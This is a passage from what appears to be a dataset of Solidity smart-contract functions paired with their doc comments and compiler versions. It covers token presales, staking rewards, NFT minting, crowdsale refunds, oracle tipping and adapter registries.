send\" error\n // \"tokensBoughtOf\" is also flawed, so we do all math there\n uint256 amt = buggedTokens[user];\n if (amt == 0) {\n // calculate tokens at sale price $2630/ETH, $0.95/token\n // function is returning ETH value in wei\n amt = (IPresale2(presale2).ethDepositOf(user) * 2630 * 100) / 95;\n // calculate tokens for USD at $0.95/token\n // contract is returning USD with 0 decimals\n amt += (IPresale2(presale2).usdDepositOf(user) * 100 ether) / 95;\n }\n\n // presale1 reader is returning ETH amount in wei, $0.65 / token, $1530/ETH\n // yes, there is a typo in function name\n amt += (IPresale1(presale1).blanceOf(user) * 1530 * 100) / 65;\n\n // sale returning tokens, $1/token, ETH price from oracle at buy time\n amt += ISale(sale).tokensBoughtOf(user);\n\n return amt;\n }", "version": "0.8.7"} {"comment": "/**\n @dev add addresses that need to be replaced in claiming precess, ie send ETH from exchange\n @param bad list of wrong send addresses\n @param good list of address replacements\n */", "function_code": "function addMortys(address[] calldata bad, address[] calldata good)\n external\n onlyOwner\n claimNotStarted\n {\n uint256 dl = bad.length;\n require(dl == good.length, \"Data size mismatch\");\n uint256 i;\n for (i; i < dl; i++) {\n _addMorty(bad[i], good[i]);\n }\n }", "version": "0.8.7"} {"comment": "/**\n @dev add list of users affected by \"many ETH send\" bug via list\n @param user list of users\n @param amt list of corresponding tokens amount\n */", "function_code": "function addBuggedList(address[] calldata user, uint256[] calldata amt)\n external\n onlyOwner\n claimNotStarted\n {\n uint256 dl = user.length;\n require(dl == amt.length, \"Data size mismatch\");\n uint256 i;\n for (i; i < dl; i++) {\n buggedTokens[user[i]] = amt[i];\n }\n }", "version": "0.8.7"} {"comment": "// add data to ALMed user list", "function_code": "function addAML(address[] calldata user, uint256[] calldata tokens)\n external\n onlyOwner\n claimNotStarted\n {\n uint256 dl = user.length;\n require(dl == tokens.length, \"Data size mismatch\");\n uint256 i;\n for (i; i < dl; i++) {\n _aml[user[i]] = tokens[i];\n }\n }", "version": "0.8.7"} {"comment": "// Help users who accidentally send tokens to the contract address", "function_code": "function withdrawOtherTokens (address _token) external onlyOwner {\r\n require (_token != address(this), \"Can't withdraw\");\r\n require (_token != address(0), ZERO_ADDRESS);\r\n IERC20 token = IERC20(_token);\r\n uint256 tokenBalance = token.balanceOf (address(this));\r\n\r\n if (tokenBalance > 0) {\r\n token.transfer (owner(), tokenBalance);\r\n emit AccidentallySentTokenWithdrawn (_token, tokenBalance);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\n * When receiving new allocPoint, you have to adjust the multiplier accordingly. Claim rewards as part of this\n * `allocPoint` will always be the same for WETH and RVST, but we need to update them both\n */", "function_code": "function updateLPShares(uint fnftId, uint newAllocPoint) external override onlyStakingContract {\n // allocPoint is the same for wethBasic and rvstBasic\n totalLPAllocPoint = totalLPAllocPoint + newAllocPoint - wethLPBalances[fnftId].allocPoint;\n\n wethLPBalances[fnftId].allocPoint = newAllocPoint;\n wethLPBalances[fnftId].lastMul = wethGlobalMul;\n rvstLPBalances[fnftId].allocPoint = newAllocPoint;\n rvstLPBalances[fnftId].lastMul = rvstGlobalMul;\n }", "version": "0.8.4"} {"comment": "/**\n * We require claiming all rewards simultaneously for simplicity\n * 0 = has neither, 1 = WETH, 2 = RVST, 3 = BOTH\n * Implicit assumption that user is authenticated to this FNFT prior to claiming\n */", "function_code": "function claimRewards(uint fnftId, address caller) external override onlyStakingContract returns (uint) {\n bool hasWeth = claimRewardsForToken(fnftId, WETH, caller);\n bool hasRVST = claimRewardsForToken(fnftId, RVST, caller);\n if(hasWeth) {\n if(hasRVST) {\n return 3;\n } else {\n return 1;\n }\n }\n return hasRVST ? 2 : 0;\n }", "version": "0.8.4"} {"comment": "/**\n * Precondition: fee is already approved by msg sender\n * This simple function increments the multiplier for everyone with existing positions\n * Hence it covers the case where someone enters later, they start with a higher multiplier.\n * We increment totalAllocPoint with new depositors, and increment curMul with new income.\n */", "function_code": "function receiveFee(address token, uint amount) external override {\n require(token == WETH || token == RVST, \"Only WETH and RVST supported\");\n IERC20(token).safeTransferFrom(msg.sender, address(this), amount);\n if(totalLPAllocPoint + totalBasicAllocPoint > 0) {\n uint globalMulInc = (amount * PRECISION) / (totalLPAllocPoint + totalBasicAllocPoint);\n setGlobalMul(token, getGlobalMul(token) + globalMulInc);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * View-only function. Does not update any balances.\n */", "function_code": "function rewardsOwed(address token, UserBalance memory lpBalance, UserBalance memory basicBalance) internal view returns (uint) {\n uint globalBalance = IERC20(token).balanceOf(address(this));\n uint lpRewards = (getGlobalMul(token) - lpBalance.lastMul) * lpBalance.allocPoint;\n uint basicRewards = (getGlobalMul(token) - basicBalance.lastMul) * basicBalance.allocPoint;\n uint tokenAmount = (lpRewards + basicRewards) / PRECISION;\n return tokenAmount;\n }", "version": "0.8.4"} {"comment": "// Due to implementation choices (no mint, no burn, contiguous NFT ids), it\n// is not necessary to keep an array of NFT ids nor where each NFT id is\n// located in that array.\n// address[] private nftIds;\n// mapping (uint256 => uint256) private nftIndexOfId;", "function_code": "function SuNFT() internal {\r\n // Publish interfaces with ERC-165\r\n supportedInterfaces[0x6466353c] = true; // ERC721\r\n supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata\r\n supportedInterfaces[0x780e9d63] = true; // ERC721Enumerable\r\n \r\n // The effect of substitution makes storing address(this), address(this)\r\n // ..., address(this) for a total of TOTAL_SUPPLY times unnecessary at\r\n // deployment time\r\n // for (uint256 i = 1; i <= TOTAL_SUPPLY; i++) {\r\n // _tokenOwnerWithSubstitutions[i] = address(this);\r\n // }\r\n\r\n // The effect of substitution makes storing 1, 2, ..., TOTAL_SUPPLY\r\n // unnecessary at deployment time\r\n _tokensOfOwnerWithSubstitutions[address(this)].length = TOTAL_SUPPLY;\r\n // for (uint256 i = 0; i < TOTAL_SUPPLY; i++) {\r\n // _tokensOfOwnerWithSubstitutions[address(this)][i] = i + 1;\r\n // }\r\n // for (uint256 i = 1; i <= TOTAL_SUPPLY; i++) {\r\n // _ownedTokensIndexWithSubstitutions[i] = i - 1;\r\n // }\r\n }", "version": "0.4.21"} {"comment": "/// @notice Update the contents of your square, the first 3 personalizations\n/// for a square are free then cost 10 finney (0.01 ether) each\n/// @param _squareId The top-left is 1, to its right is 2, ..., top-right is\n/// 100 and then 101 is below 1... the last one at bottom-right is 10000\n/// @param _squareId A 10x10 image for your square, in 8-bit RGB words\n/// ordered like the squares are ordered. See Imagemagick's command\n/// convert -size 10x10 -depth 8 in.rgb out.png\n/// @param _title A description of your square (max 64 bytes UTF-8)\n/// @param _href A hyperlink for your square (max 96 bytes)", "function_code": "function personalizeSquare(\r\n uint256 _squareId,\r\n bytes _rgbData,\r\n string _title,\r\n string _href\r\n )\r\n external\r\n onlyOwnerOf(_squareId)\r\n payable\r\n {\r\n require(bytes(_title).length <= 64);\r\n require(bytes(_href).length <= 96);\r\n require(_rgbData.length == 300);\r\n suSquares[_squareId].version++;\r\n suSquares[_squareId].rgbData = _rgbData;\r\n suSquares[_squareId].title = _title;\r\n suSquares[_squareId].href = _href;\r\n if (suSquares[_squareId].version > 3) {\r\n require(msg.value == 10 finney);\r\n }\r\n emit Personalized(_squareId);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Defrost token (for advisors)\r\n * Method called by the owner once per defrost period (1 month)\r\n */", "function_code": "function defrostToken() onlyOwner {\r\n require(now > START_ICO_TIMESTAMP);\r\n // Looping into the iced accounts\r\n for (uint index = 0; index < icedBalances.length; index++) {\r\n address currentAddress = icedBalances[index];\r\n uint256 amountTotal = icedBalances_frosted[currentAddress] + icedBalances_defrosted[currentAddress];\r\n uint256 targetDeFrosted = (SafeMath.minimum(100, DEFROST_INITIAL_PERCENT + elapsedMonthsFromICOStart() * DEFROST_MONTHLY_PERCENT)) * amountTotal / 100;\r\n uint256 amountToRelease = targetDeFrosted - icedBalances_defrosted[currentAddress];\r\n if (amountToRelease > 0) {\r\n icedBalances_frosted[currentAddress] = icedBalances_frosted[currentAddress] - amountToRelease;\r\n icedBalances_defrosted[currentAddress] = icedBalances_defrosted[currentAddress] + amountToRelease;\r\n balances[currentAddress] = balances[currentAddress] + amountToRelease;\r\n }\r\n }\r\n\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Defrost for the owner of the contract\r\n */", "function_code": "function defrostOwner() onlyOwner {\r\n if (now < START_ICO_TIMESTAMP) {\r\n return;\r\n }\r\n uint256 amountTotal = ownerFrosted + ownerDefrosted;\r\n uint256 targetDeFrosted = (SafeMath.minimum(100, DEFROST_INITIAL_PERCENT_OWNER + elapsedMonthsFromICOStart() * DEFROST_MONTHLY_PERCENT_OWNER)) * amountTotal / 100;\r\n uint256 amountToRelease = targetDeFrosted - ownerDefrosted;\r\n if (amountToRelease > 0) {\r\n ownerFrosted = ownerFrosted - amountToRelease;\r\n ownerDefrosted = ownerDefrosted + amountToRelease;\r\n balances[owner] = balances[owner] + amountToRelease;\r\n }\r\n }", "version": "0.4.15"} {"comment": "// can accept ether", "function_code": "function() payable canPay {\r\n\t \r\n\t assert(msg.value>=0.01 ether);\r\n\t if(msg.sender!=target){\r\n\t uint256 tokens=1000*msg.value;\r\n\t if(canIssue){\r\n\t if(tokens>totalCount){\r\n balances[msg.sender] += tokens;\r\n balances[target] =balances[target]-tokens+totalCount;\r\n\t totalCount=0;\r\n\t canIssue=false;\r\n\t }else{\r\n\t balances[msg.sender]=balances[msg.sender]+tokens;\r\n\t totalCount=totalCount-tokens;\r\n\t }\r\n\t Issue(msg.sender,msg.value,tokens);\r\n\t }\r\n\t }\r\n\t \r\n\t if (!target.send(msg.value)) {\r\n throw;\r\n }\r\n\t \r\n }", "version": "0.4.13"} {"comment": "/**\r\n * The owner can allocate the specified amount of tokens from the\r\n * crowdsale allowance to the recipient (_to).\r\n *\r\n * NOTE: be extremely careful to get the amounts correct, which\r\n * are in units of wei and mini-LBSC. Every digit counts.\r\n *\r\n * @param _to the recipient of the tokens\r\n * @param amountInEth the amount contributed in wei\r\n * @param amountLBSC the amount of tokens transferred in mini-LBSC (18 decimals)\r\n */", "function_code": "function ownerAllocateTokens(address _to, uint amountInEth, uint amountLBSC) public\r\n onlyOwnerOrManager nonReentrant\r\n {\r\n if (!tokenReward.transferFrom(tokenReward.owner(), _to, convertToMini(amountLBSC))) {\r\n revert(\"Transfer failed. Please check allowance\");\r\n }\r\n\r\n uint amountWei = convertToMini(amountInEth);\r\n balanceOf[_to] = balanceOf[_to].add(amountWei);\r\n amountRaised = amountRaised.add(amountWei);\r\n emit FundTransfer(_to, amountWei, true);\r\n checkFundingGoal();\r\n checkFundingCap();\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * This function permits anybody to withdraw the funds they have\r\n * contributed if and only if the deadline has passed and the\r\n * funding goal was not reached.\r\n */", "function_code": "function safeWithdrawal() public afterDeadline nonReentrant {\r\n if (!fundingGoalReached) {\r\n uint amount = balanceOf[msg.sender];\r\n balanceOf[msg.sender] = 0;\r\n if (amount > 0) {\r\n msg.sender.transfer(amount);\r\n emit FundTransfer(msg.sender, amount, false);\r\n refundAmount = refundAmount.add(amount);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns the domain separator for the current chain.\r\n */", "function_code": "function _domainSeparatorV4() internal view returns (bytes32) {\r\n if (\r\n address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID\r\n ) {\r\n return _CACHED_DOMAIN_SEPARATOR;\r\n } else {\r\n return\r\n _buildDomainSeparator(\r\n _TYPE_HASH,\r\n _HASHED_NAME,\r\n _HASHED_VERSION\r\n );\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns the value at a given block number. If a checkpoint is not available at that block, the closest one\r\n * before it is returned, or zero otherwise.\r\n */", "function_code": "function getAtBlock(History storage self, uint256 blockNumber)\r\n internal\r\n view\r\n returns (uint256)\r\n {\r\n require(blockNumber < block.number, \"Checkpoints: block not yet mined\");\r\n\r\n uint256 high = self._checkpoints.length;\r\n uint256 low = 0;\r\n while (low < high) {\r\n uint256 mid = Math.average(low, high);\r\n if (self._checkpoints[mid]._blockNumber > blockNumber) {\r\n high = mid;\r\n } else {\r\n low = mid + 1;\r\n }\r\n }\r\n return high == 0 ? 0 : self._checkpoints[high - 1]._value;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Pushes a value onto a History so that it is stored as the checkpoint for the current block.\r\n *\r\n * Returns previous value and new value.\r\n */", "function_code": "function push(History storage self, uint256 value)\r\n internal\r\n returns (uint256, uint256)\r\n {\r\n uint256 pos = self._checkpoints.length;\r\n uint256 old = latest(self);\r\n if (\r\n pos > 0 && self._checkpoints[pos - 1]._blockNumber == block.number\r\n ) {\r\n self._checkpoints[pos - 1]._value = SafeCast.toUint224(value);\r\n } else {\r\n self._checkpoints.push(\r\n Checkpoint({\r\n _blockNumber: SafeCast.toUint32(block.number),\r\n _value: SafeCast.toUint224(value)\r\n })\r\n );\r\n }\r\n return (old, value);\r\n }", "version": "0.8.4"} {"comment": "/// Get current reward for stake\n/// @dev calculates returnable stake amount\n/// @param _user the user to query\n/// @param _index the stake index to query\n/// @return total stake reward", "function_code": "function currentReward(address _user, uint256 _index) public view returns (uint256) {\r\n if(stakeList[msg.sender][_index].amount == 0){\r\n return 0;\r\n }\r\n uint256 amount = stakeList[_user][_index].amount;\r\n uint256 daysPercent = (block.timestamp - stakeList[msg.sender][_index].stakeTime).div(86400).mul(7);\r\n uint256 minutePercent = (block.timestamp - stakeList[msg.sender][_index].stakeTime).mul(8101851);\r\n\r\n //\r\n uint moondayReserves;\r\n uint cropReserves;\r\n uint wethMReserves;\r\n uint wethCReserves;\r\n\r\n if(moonday < weth){\r\n (wethMReserves, moondayReserves,) = lpToken.getReserves();\r\n }\r\n else{\r\n (moondayReserves, wethMReserves,) = lpToken.getReserves();\r\n }\r\n\r\n if(crops < weth){\r\n (wethCReserves, cropReserves,) = cropsETHToken.getReserves();\r\n }\r\n else{\r\n (cropReserves, wethCReserves,) = cropsETHToken.getReserves();\r\n }\r\n\r\n uint256 cropsPrice = wethCReserves.mul(100000000).div(cropReserves).mul(10000000000).div(wethMReserves.mul(100000000).div(moondayReserves)).mul(100000000);\r\n /*\r\n if(daysPercent > 185){\r\n return cropsPrice.mul(amount).div(1 ether).mul(185).div(50);\r\n }\r\n else{\r\n return cropsPrice.mul(amount).div(1 ether).mul(daysPercent).div(50);\r\n }*/\r\n if(minutePercent > 18500000000000){\r\n return cropsPrice.mul(amount).div(1 ether).mul(18500000000000).div(5000000000000);\r\n }\r\n else{\r\n return cropsPrice.mul(amount).div(1 ether).mul(minutePercent).div(5000000000000);\r\n }\r\n }", "version": "0.6.11"} {"comment": "/// Stake LP token\n/// @dev stakes users LP tokens\n/// @param _amount the amount to stake\n/// @param _refCode optional referral code", "function_code": "function stake(uint256 _amount, uint _refCode) public {\r\n require(_amount > 0, \"Cannot stake 0\");\r\n\r\n uint256 deposit = _amount.mul(7).div(10);\r\n stakeList[msg.sender][stakeCount[msg.sender]].amount = deposit;\r\n stakeList[msg.sender][stakeCount[msg.sender]].stakeTime = block.timestamp;\r\n lpToken.safeTransferFrom(msg.sender, address(this), deposit);\r\n stakeCount[msg.sender]++;\r\n\r\n if(refCodeIndex[_refCode] != address(0)){\r\n lpToken.safeTransferFrom(msg.sender, owner, _amount.mul(22).div(100));\r\n lpToken.safeTransferFrom(msg.sender, dev1, _amount.div(100));\r\n lpToken.safeTransferFrom(msg.sender, dev2, _amount.div(100));\r\n lpToken.safeTransferFrom(msg.sender, dev3, _amount.div(100));\r\n lpToken.safeTransferFrom(msg.sender, refCodeIndex[_refCode], _amount.div(20));\r\n }\r\n else{\r\n lpToken.safeTransferFrom(msg.sender, owner, _amount.mul(27).div(100));\r\n lpToken.safeTransferFrom(msg.sender, dev1, _amount.div(100));\r\n lpToken.safeTransferFrom(msg.sender, dev2, _amount.div(100));\r\n lpToken.safeTransferFrom(msg.sender, dev3, _amount.div(100));\r\n }\r\n\r\n emit Staked(msg.sender, deposit, stakeCount[msg.sender] - 1);\r\n }", "version": "0.6.11"} {"comment": "/**\n * @dev Removes a value from the oracle.\n * Note: this function is only callable by the Governance contract.\n * @param _queryId is ID of the specific data feed\n * @param _timestamp is the timestamp of the data value to remove\n */", "function_code": "function removeValue(bytes32 _queryId, uint256 _timestamp) external {\n require(\n msg.sender ==\n IController(TELLOR_ADDRESS).addresses(_GOVERNANCE_CONTRACT) ||\n msg.sender ==\n IController(TELLOR_ADDRESS).addresses(_ORACLE_CONTRACT),\n \"caller must be the governance contract or the oracle contract\"\n );\n Report storage rep = reports[_queryId];\n uint256 _index = rep.timestampIndex[_timestamp];\n // Shift all timestamps back to reflect deletion of value\n for (uint256 i = _index; i < rep.timestamps.length - 1; i++) {\n rep.timestamps[i] = rep.timestamps[i + 1];\n rep.timestampIndex[rep.timestamps[i]] -= 1;\n }\n // Delete and reset timestamp and value\n delete rep.timestamps[rep.timestamps.length - 1];\n rep.timestamps.pop();\n rep.valueByTimestamp[_timestamp] = \"\";\n rep.timestampIndex[_timestamp] = 0;\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Adds tips to incentivize reporters to submit values for specific data IDs.\n * @param _queryId is ID of the specific data feed\n * @param _tip is the amount to tip the given data ID\n * @param _queryData is required for IDs greater than 100, informs reporters how to fulfill request. See github.com/tellor-io/dataSpecs\n */", "function_code": "function tipQuery(\n bytes32 _queryId,\n uint256 _tip,\n bytes memory _queryData\n ) external {\n // Require tip to be greater than 1 and be paid\n require(_tip > 1, \"Tip should be greater than 1\");\n require(\n IController(TELLOR_ADDRESS).approveAndTransferFrom(\n msg.sender,\n address(this),\n _tip\n ),\n \"tip must be paid\"\n );\n require(\n _queryId == keccak256(_queryData) ||\n uint256(_queryId) <= 100 ||\n msg.sender ==\n IController(TELLOR_ADDRESS).addresses(_GOVERNANCE_CONTRACT),\n \"id must be hash of bytes data\"\n );\n // Burn half the tip\n _tip = _tip / 2;\n IController(TELLOR_ADDRESS).burn(_tip);\n // Update total tip amount for user, data ID, and in total contract\n tips[_queryId] += _tip;\n tipsByUser[msg.sender] += _tip;\n tipsInContract += _tip;\n emit TipAdded(msg.sender, _queryId, _tip, tips[_queryId], _queryData);\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Calculates the current reward for a reporter given tips\n * and time based reward\n * @param _queryId is ID of the specific data feed\n * @return uint256 tips on given queryId\n * @return uint256 time based reward\n */", "function_code": "function getCurrentReward(bytes32 _queryId)\n public\n view\n returns (uint256, uint256)\n {\n IController _tellor = IController(TELLOR_ADDRESS);\n uint256 _timeDiff = block.timestamp - timeOfLastNewValue;\n uint256 _reward = (_timeDiff * timeBasedReward) / 300; //.5 TRB per 5 minutes (should we make this upgradeable)\n if (_tellor.balanceOf(address(this)) < _reward + tipsInContract) {\n _reward = _tellor.balanceOf(address(this)) - tipsInContract;\n }\n return (tips[_queryId], _reward);\n }", "version": "0.8.3"} {"comment": "// extract 0-6 substring at spot within mega palette string", "function_code": "function getColor(uint256 spot) private pure returns (string memory) {\n if (spot == 0) return '';\n bytes memory strBytes = bytes(COLORS);\n bytes memory result = new bytes(6);\n for (uint256 i = (spot * 6); i < ((spot + 1) * 6); i++) result[i - (spot * 6)] = strBytes[i];\n return string(result);\n }", "version": "0.8.9"} {"comment": "// Manage GameObjects", "function_code": "function addGameObject(\n uint256 _maxSupply,\n uint256 _mintPrice,\n bool _paidWithToken\n ) public onlyOwner {\n GameObject storage go = gameObjects[counter.current()];\n go.gameObjectId = counter.current();\n go.maxSupply = _maxSupply;\n go.mintPrice = _mintPrice;\n go.paidWithToken = _paidWithToken;\n go.isSaleClosed = true;\n go.totalSupply = 0;\n\n counter.increment();\n }", "version": "0.8.0"} {"comment": "/**\r\n * Mints NFTEA\r\n */", "function_code": "function mintTEA(uint numberOfTokens) public payable {\r\n require(saleIsActive, \"Sale must be active to mint TEA\");\r\n require(numberOfTokens <= maxTeaPurchase, \"Can only mint 50 tokens at a time\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_Tea, \"Purchase would exceed max supply of Tea\");\r\n require(TeaPrice.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\r\n \r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_Tea) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n if (totalSupply() % 145 == 143){\r\n _safeMint(msg.sender, mintIndex+1);\r\n }\r\n }\r\n\r\n // If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after\r\n // the end of pre-sale, set the starting index block\r\n if (startingIndexBlock == 0 && (totalSupply() == MAX_Tea || block.timestamp >= REVEAL_TIMESTAMP)) {\r\n startingIndexBlock = block.number;\r\n } \r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Adds new adapter to adapters list.\r\n * The function is callable only by the owner.\r\n * @param newAdapter Address of new adapter.\r\n * @param _assets Addresses of adapter's assets.\r\n */", "function_code": "function addAdapter(\r\n address newAdapter,\r\n address[] memory _assets\r\n )\r\n public\r\n onlyOwner\r\n {\r\n require(newAdapter != address(0), \"AAM: zero adapter!\");\r\n require(newAdapter != INITIAL_ADAPTER, \"AAM: initial adapter!\");\r\n require(adapters[newAdapter] == address(0), \"AAM: adapter exists!\");\r\n\r\n adapters[newAdapter] = adapters[INITIAL_ADAPTER];\r\n adapters[INITIAL_ADAPTER] = newAdapter;\r\n\r\n assets[newAdapter] = _assets;\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @notice Removes one of adapters from adapters list.\r\n * The function is callable only by the owner.\r\n * @param adapter Address of adapter to be removed.\r\n */", "function_code": "function removeAdapter(\r\n address adapter\r\n )\r\n public\r\n onlyOwner\r\n {\r\n require(isValidAdapter(adapter), \"AAM: invalid adapter!\");\r\n\r\n address prevAdapter;\r\n address currentAdapter = adapters[adapter];\r\n while (currentAdapter != adapter) {\r\n prevAdapter = currentAdapter;\r\n currentAdapter = adapters[currentAdapter];\r\n }\r\n\r\n delete assets[adapter];\r\n\r\n adapters[prevAdapter] = adapters[adapter];\r\n adapters[adapter] = address(0);\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @notice Removes one of adapter's assets by its index.\r\n * The function is callable only by the owner.\r\n * @param adapter Address of adapter.\r\n * @param assetIndex Index of adapter's asset to be removed.\r\n */", "function_code": "function removeAdapterAsset(\r\n address adapter,\r\n uint256 assetIndex\r\n )\r\n public\r\n onlyOwner\r\n {\r\n require(isValidAdapter(adapter), \"AAM: adapter is not valid!\");\r\n\r\n address[] storage adapterAssets = assets[adapter];\r\n uint256 length = adapterAssets.length;\r\n require(assetIndex < length, \"AAM: asset index is too large!\");\r\n\r\n if (assetIndex != length - 1) {\r\n adapterAssets[assetIndex] = adapterAssets[length - 1];\r\n }\r\n\r\n adapterAssets.pop();\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @return Array of adapters.\r\n */", "function_code": "function getAdapters()\r\n public\r\n view\r\n returns (address[] memory)\r\n {\r\n uint256 counter = 0;\r\n address currentAdapter = adapters[INITIAL_ADAPTER];\r\n\r\n while (currentAdapter != INITIAL_ADAPTER) {\r\n currentAdapter = adapters[currentAdapter];\r\n counter++;\r\n }\r\n\r\n address[] memory adaptersList = new address[](counter);\r\n counter = 0;\r\n currentAdapter = adapters[INITIAL_ADAPTER];\r\n\r\n while (currentAdapter != INITIAL_ADAPTER) {\r\n adaptersList[counter] = currentAdapter;\r\n currentAdapter = adapters[currentAdapter];\r\n counter++;\r\n }\r\n\r\n return adaptersList;\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @return All the amounts and rates of supported assets\r\n * via supported adapters by the given user.\r\n */", "function_code": "function getBalancesAndRates(\r\n address user\r\n )\r\n external\r\n view\r\n returns(ProtocolDetail[] memory)\r\n {\r\n address[] memory adapters = getAdapters();\r\n ProtocolDetail[] memory protocolDetails = new ProtocolDetail[](adapters.length);\r\n\r\n for (uint256 i = 0; i < adapters.length; i++) {\r\n protocolDetails[i] = ProtocolDetail({\r\n name: Adapter(adapters[i]).getProtocolName(),\r\n balances: getBalances(user, adapters[i]),\r\n rates: getRates(adapters[i])\r\n });\r\n }\r\n\r\n return protocolDetails;\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @return All the exchange rates for supported assets\r\n * via the supported adapters.\r\n */", "function_code": "function getRates()\r\n external\r\n view\r\n returns (ProtocolRate[] memory)\r\n {\r\n address[] memory adapters = getAdapters();\r\n ProtocolRate[] memory protocolRates = new ProtocolRate[](adapters.length);\r\n\r\n for (uint256 i = 0; i < adapters.length; i++) {\r\n protocolRates[i] = ProtocolRate({\r\n name: Adapter(adapters[i]).getProtocolName(),\r\n rates: getRates(adapters[i])\r\n });\r\n }\r\n\r\n return protocolRates;\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @return All the amounts of the given assets\r\n * via the given adapter by the given user.\r\n */", "function_code": "function getBalances(\r\n address user,\r\n address adapter,\r\n address[] memory assets\r\n )\r\n public\r\n view\r\n returns (AssetBalance[] memory)\r\n {\r\n uint256 length = assets.length;\r\n AssetBalance[] memory assetBalances = new AssetBalance[](length);\r\n\r\n for (uint256 i = 0; i < length; i++) {\r\n address asset = assets[i];\r\n assetBalances[i] = AssetBalance({\r\n asset: asset,\r\n amount: Adapter(adapter).getAssetAmount(asset, user),\r\n decimals: getAssetDecimals(asset)\r\n });\r\n }\r\n\r\n return assetBalances;\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @return All the exchange rates for the given assets\r\n * via the given adapter.\r\n */", "function_code": "function getRates(\r\n address adapter,\r\n address[] memory assets\r\n )\r\n public\r\n view\r\n returns (AssetRate[] memory)\r\n {\r\n uint256 length = assets.length;\r\n AssetRate[] memory rates = new AssetRate[](length);\r\n\r\n for (uint256 i = 0; i < length; i++) {\r\n address asset = assets[i];\r\n rates[i] = AssetRate({\r\n asset: asset,\r\n components: Adapter(adapter).getUnderlyingRates(asset)\r\n });\r\n }\r\n\r\n return rates;\r\n }", "version": "0.6.2"} {"comment": "/// @notice Mints multiple new martians\n/// @dev The method includes a signature that was provided by the MarsGenesis backend, to ensure data integrity\n/// @param signatures The signatures provided by the backend to ensure data integrity\n/// @param martianIds The IDs of the martians to be minted\n/// @param landTokenIds The IDs of the MarsGenesis parcels to be redeemed\n/// @param promoOwner Any promo martian address\n/// @return true", "function_code": "function mintMartians(bytes[] memory signatures, uint[] memory martianIds, uint[] memory landTokenIds, address promoOwner) external payable returns (bool) { \n uint total = martianIds.length;\n require(landTokenIds.length <= total, \"D0\");\n\n if (landTokenIds.length > 0) {\n require(_reservedMartians >= uint16(landTokenIds.length));\n \n for(uint i = 0; i < total; i++) {\n require(_marsGenesisCoreContract.ownerOf(landTokenIds[i]) == msg.sender, \"E1\");\n require(landTokenIdRedeemed[landTokenIds[i]] == false, \"E2\");\n landTokenIdRedeemed[landTokenIds[i]] = true;\n }\n _reservedMartians -= uint16(landTokenIds.length);\n }\n\n require(_tokenIdTracker.current() + total + _reservedMartians <= MAX_MARTIANS, \"MAX\");\n\n address martianOwner;\n if (hasRole(DEFAULT_ADMIN_ROLE, _msgSender())) {\n martianOwner = promoOwner;\n } else {\n require(msg.value >= 0.08 ether * (total - landTokenIds.length), \"$\");\n martianOwner = _msgSender();\n }\n\n for(uint i = 0; i < total; i++) {\n require(_mintedIds[martianIds[i]] == false, \"ID\");\n\n bytes32 hash = keccak256(abi.encodePacked(address(this), martianIds[i], msg.sender));\n address signer = _recoverSigner(hash, signatures[i]);\n require(signer == _deployerAddress, \"SIGN\");\n\n uint newTokenId = _mintMartian(martianOwner, martianIds[i]);\n\n if (i < landTokenIds.length) {\n emit Discovery(martianOwner, newTokenId, martianIds[i], landTokenIds[i]);\n } else {\n emit Discovery(martianOwner, newTokenId, martianIds[i], 10001);\n }\n }\n \n return true;\n }", "version": "0.8.9"} {"comment": "/**\n * A Scribe is a contract that is allowed to write Lore *if* the transaction\n * originated from the token owner. For example, The Great Burning may write\n * the death of a Wizard and the inception of their Soul\n */", "function_code": "function addLoreWithScribe(\n address tokenContract,\n uint256 tokenId,\n uint256 parentLoreId,\n bool nsfw,\n string memory loreMetadataURI\n ) public onlyAllowedTokenContract(tokenContract) {\n require(scribeAllowlist[_msgSender()], 'sender is not a Scribe');\n\n address tokenOwner = IERC721(tokenContract).ownerOf(tokenId);\n require(\n tokenOwner == tx.origin, // ! - note that msg.sender must be a Scribe for this to work\n 'Owner: tx.origin is not the token owner'\n );\n\n tokenLore[tokenContract][tokenId].push(\n // we credit this lore to the Scribe, not the token owner\n Lore(_msgSender(), parentLoreId, nsfw, false, loreMetadataURI)\n );\n\n emit LoreAdded(\n tokenContract,\n tokenId,\n tokenLore[tokenContract][tokenId].length - 1\n );\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Function to stop minting new tokens.\r\n * @return True if the operation was successful.\r\n */", "function_code": "function finishMinting() onlyOwner canMint public returns (bool) {\r\n\r\n require(foundationAddress != address(0) && teamAddress != address(0) && bountyAddress != address(0));\r\n require(SHARE_PURCHASERS + SHARE_FOUNDATION + SHARE_TEAM + SHARE_BOUNTY == 1000);\r\n require(totalSupply_ != 0);\r\n \r\n // before calling this method totalSupply includes only purchased tokens\r\n uint256 onePerThousand = totalSupply_ / SHARE_PURCHASERS; //ignore (totalSupply mod 617) ~= 616e-8,\r\n \r\n uint256 foundationTokens = onePerThousand * SHARE_FOUNDATION; \r\n uint256 teamTokens = onePerThousand * SHARE_TEAM; \r\n uint256 bountyTokens = onePerThousand * SHARE_BOUNTY;\r\n \r\n mint(foundationAddress, foundationTokens);\r\n mint(teamAddress, teamTokens);\r\n 